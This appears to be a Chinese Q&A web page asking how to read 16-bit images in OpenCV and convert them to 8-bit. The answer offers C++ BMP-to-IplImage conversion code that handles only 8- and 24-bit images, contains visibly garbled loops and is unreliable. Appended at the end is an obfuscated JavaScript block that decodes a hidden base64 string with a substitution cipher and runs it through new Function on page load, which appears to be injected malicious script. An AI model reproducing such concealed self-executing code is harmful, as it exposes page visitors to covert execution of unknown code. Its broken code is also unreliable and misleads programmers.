opencv怎么 读取16位图像并转化为8位显示

2025-03-29 04:50:52
推荐回答(1个)
回答1:

可以参考下面的程序,其中bitCount!=8 && bitCount!=24指的就是8位与24位

//BMP与IplImage相互转换
///////////////////////////////头文件bmp2ipl.h
//bmp2ipl.h
#ifndef BMP2IPL_H
#define BMP2IPL_H

class BMP {
public:
BMP():bmpData(NULL) {
memset(&biHeader, 0, sizeof(biHeader));
}
BMP(const BMP & img);
BMP(const IplImage &img);
BMP(int width, int height, int bitCount);
~BMP(){ delete [] bmpData; }

bool CreateImage(const BITMAPINFOHEADER &biHeader);

//Export
IplImage * BMP2Ipl();
//void Show(HWND hWnd, int nID);
//void Show(CDC *pDC, CRect & rect);
//void Show(HWND hWnd);

void ReSize(int newW, int newH);

private:
void CopyData(char *dest, const char *src, int dataByteSize,
bool isConvert, int height);
// isConvert=true 进行顶左和底左之间的转换(顶左到底左或底左到顶左),否则不转换

// biSizeImage may be set to zero for BI_RGB bitmaps, so calculate it.
int ImgSize() {
return ( biHeader.biHeight * ((biHeader.biWidth * biHeader.biBitCount / 8 + 3) & (-4)));
}

public:
void Clear();
BITMAPINFOHEADER biHeader;
unsigned char * bmpData;
};
#endif
/////////////////////////////////////////////////////////////////////实现文件bmp2ipl.cpp
#include "bmp2ipl.h"

/**************************************************************************************************
* *
* NOTE: *
* Only use the "8 bit, 1 or 3 channels" image, the BitMap use LowerLeft (底左), *
* the IplImage use TopLeft (顶左) *
* IplImage: *
* nChannels = 1 or 3 number of channels *
* depth = IPL_DEPTH_8U pixel depth (8 bit), IPL_DEPTH_8U=8 *
* dataOrder = 0 交叉存取颜色通道 *
* origin = IPL_ORIGIN_TL 图像数据保存形式,IPL_ORIGIN_BL底左结构, IPL_ORIGIN_TL顶左结构 *
* align = 4 行数据对齐方式,保证下一行数据从整4字节位置开始 *
* width *
* height *
* widthStep 图像数据行大小,单位字节 *
* imageSize 图像数据大小(=height*widthStep),单位字节 *
* imageData 指向图像数据区,char * *
* BITMAPINFOHEADER: *
* biSize Specifies the number of bytes required by the structure *
* biWidth *
* biHeight(>0) biHeight>0底左结构;biHeight<0顶左结构 *
* biPlanes = 1 Specifies the number of planes for the target device. This value *
* must be set to 1. *
* biBitCount =8 or 24 bits-per-pixel,8-(pixelDepth=8,channels=1), *
* 24-(pixelDepth=8,channels=3) *
* biCompression = BI_RGB An uncompressed format *
* biSizeImage Specifies the size, in bytes, of the image.This may be set to zero *
* for BI_RGB bitmaps. *
* biXPelsPerMeter = 0 *
* biYPelsPerMeter = 0 *
* biClrUsed = 0 *
* biClrImportant = 0 *
* *
***************************************************************************************************/
BMP::BMP(const BMP & img)
{
if(!IsSupport(img)) {
BMP();
return;
}

//biHeader = img.biHeader;
PBITMAPINFOHEADER pBmpH = (PBITMAPINFOHEADER)&img.biHeader;
memcpy(&biHeader, pBmpH, sizeof(BITMAPINFOHEADER));
biHeader.biSizeImage = ImgSize();
bool isLowerLeft = biHeader.biHeight>0;
//int rowSize=0;
if(!isLowerLeft) biHeader.biHeight=-biHeader.biHeight;

if(bmpData!=NULL) delete[] bmpData;
bmpData = new unsigned char [biHeader.biSizeImage];
//memcpy(bmpData, img.bmpData, img.biHeader.biSizeImage);
CopyData((char *)bmpData, (char*)img.bmpData, biHeader.biSizeImage,
!isLowerLeft, biHeader.biHeight);
}

BMP::BMP(const IplImage &img) {
if(!IsSupport(img)) {
BMP();
return;
}
bool isTopLeft = (img.origin == IPL_ORIGIN_TL);

biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biWidth = img.width;
biHeader.biHeight = img.height;
biHeader.biPlanes = 1;
biHeader.biBitCount = img.depth * img.nChannels;
biHeader.biCompression = BI_RGB;
biHeader.biSizeImage = img.imageSize;
biHeader.biXPelsPerMeter = 0;
biHeader.biYPelsPerMeter = 0;
biHeader.biClrUsed = 0;
biHeader.biClrImportant = 0;

if(bmpData!=NULL) delete[] bmpData;
bmpData = new unsigned char [img.imageSize];
//memcpy(bmpData, img.ImageData, img.imageSize);
CopyData((char*)bmpData, (char*)img.imageData, img.imageSize,
isTopLeft, img.height);
/*int i,j;
CvScalar s;
for(i=0;ifor(j=0;js=cvGet2D(&img,i,j);

}
*/
}

BMP::BMP(int width, int height, int bitCount) {
if(bitCount!=8 && bitCount!=24) return;

biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biWidth = width;
biHeader.biHeight = height;
biHeader.biPlanes = 1;
biHeader.biBitCount = bitCount;
biHeader.biCompression = BI_RGB;
biHeader.biSizeImage = ImgSize();
biHeader.biXPelsPerMeter = 0;
biHeader.biYPelsPerMeter = 0;
biHeader.biClrUsed = 0;
biHeader.biClrImportant = 0;

if(bmpData!=NULL) delete[] bmpData;
bmpData = new unsigned char [biHeader.biSizeImage];
Clear();
}

// dest: the destination image
// dataByteSize: the Source image
// height: source image height
void BMP::CopyData(char *dest, const char *src, int dataByteSize,
bool isConvert, int height) {
char * p = dest;
if(!isConvert) {
memcpy(dest, src, dataByteSize);
return;
}
if(height<=0) return;
//int height = dataByteSize/rowByteSize;
int rowByteSize = dataByteSize / height;
src = src + dataByteSize - rowByteSize ;
for(int i=0; imemcpy(dest, src, rowByteSize);
dest += rowByteSize;
src -= rowByteSize;
}
}

IplImage * BMP::BMP2Ipl() {
if(!IsSupport(*this)) return NULL;

IplImage *iplImg;
int height;
bool isLowerLeft = biHeader.biHeight>0;
height = (biHeader.biHeight>0) ? biHeader.biHeight : -biHeader.biHeight;
iplImg = cvCreateImage( cvSize(biHeader.biWidth, height), IPL_DEPTH_8U, biHeader.biBitCount / 8);
//iplImg = cvCreateImageHeader( cvSize(biHeader.biWidth, height), IPL_DEPTH_8U, biHeader.biBitCount / 8);

//cvSetData(iplImg,(char*)bmpData,biHeader.biSizeImage/height);
CopyData( iplImg->imageData, (char*)bmpData, biHeader.biSizeImage,
isLowerLeft, height);
/*int i,j;
CvScalar s;
int channels=biHeader.biBitCount / 8;
int step=(biHeader.biWidth*channels+3) & -4;
int loc=0;
for(i=0;iheight;i++){
for(j=0;jwidth;j++){
loc=i*step + j*channels;
s.val[0]=bmpData[loc];
if(channels==3){
s.val[1]=bmpData[loc+1];
s.val[2]=bmpData[loc+2];
}
cvSet2D(iplImg,i,j,s);
}
}*/
return iplImg;
}

void BMP::Clear() {
if(bmpData == NULL) return;
memset(bmpData, 0, ImgSize());
}

void BMP::ReSize(int newW, int newH) {
biHeader.biWidth = newW;
biHeader.biHeight = newH;
biHeader.biSizeImage = ImgSize();
if(bmpData!=NULL) delete[] bmpData;
bmpData = new unsigned char [biHeader.biSizeImage];
Clear();
}

bool BMP::CreateImage(const BITMAPINFOHEADER &bih) {
memset(&biHeader,0,sizeof(BITMAPINFOHEADER));
delete[] bmpData;
bmpData = NULL;

memcpy(&biHeader, &bih, sizeof(BITMAPINFOHEADER));
biHeader.biSizeImage = ImgSize();
bmpData = new unsigned char [ biHeader.biSizeImage ];
if(bmpData == NULL) return false;
else{
Clear();
return true;
}
}

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();